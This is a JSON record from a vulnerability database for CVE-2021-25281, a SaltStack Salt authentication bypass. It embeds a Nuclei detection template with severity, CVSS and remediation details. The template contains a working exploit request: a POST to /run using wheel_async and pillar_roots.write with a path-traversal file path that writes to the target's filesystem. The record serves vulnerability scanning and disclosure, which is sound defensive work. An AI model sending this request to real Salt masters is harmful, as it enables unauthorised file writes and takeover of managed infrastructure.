{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-25281/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-25281/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-25281/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-25281/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-25281/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-25281"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-25281"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-25281.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2021-25281\n\ninfo:\n  name: SaltStack Salt <3002.5 - Auth Bypass\n  author: madrobot\n  severity: critical\n  description: SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.\n  impact: |\n    Unauthenticated attackers can remotely execute any wheel modules on the Salt master by bypassing eauth credentials, leading to complete infrastructure compromise and control over all managed systems.\n  remediation: |\n    Upgrade to SaltStack Salt version 3002.5 or later to mitigate this vulnerability.\n  reference:\n    - http://hackdig.com/02/hack-283902.htm\n    - https://dozer.nz/posts/saltapi-vulns\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-25281\n    - https://github.com/saltstack/salt/releases\n    - https://www.saltstack.com/blog/active-saltstack-cve-announced-2021-jan-21/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-25281\n    cwe-id: CWE-287\n    epss-score: 0.7313\n    epss-percentile: 0.99458\n    cpe: cpe:2.3:a:saltstack:salt:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: saltstack\n    product: salt\n  tags: cve,cve2021,saltapi,rce,saltstack,unauth,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /run HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"client\":\"wheel_async\",\"fun\":\"pillar_roots.write\",\"data\":\"testing\",\"path\":\"../../../../../../../tmp/testing\",\"username\":\"1\",\"password\":\"1\",\"eauth\":\"pam\"}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"return\"\n          - \"tag\"\n          - \"jid\"\n          - \"salt\"\n          - \"wheel\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502207cdd8008c46b7dd4b47c45b0174a5f529b620aad295465c9eed7663178500496022100981c7e8fbd61531dc8ce5f45e15617a49d2ff72722b534f052896c3773a1f849:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-25281"
}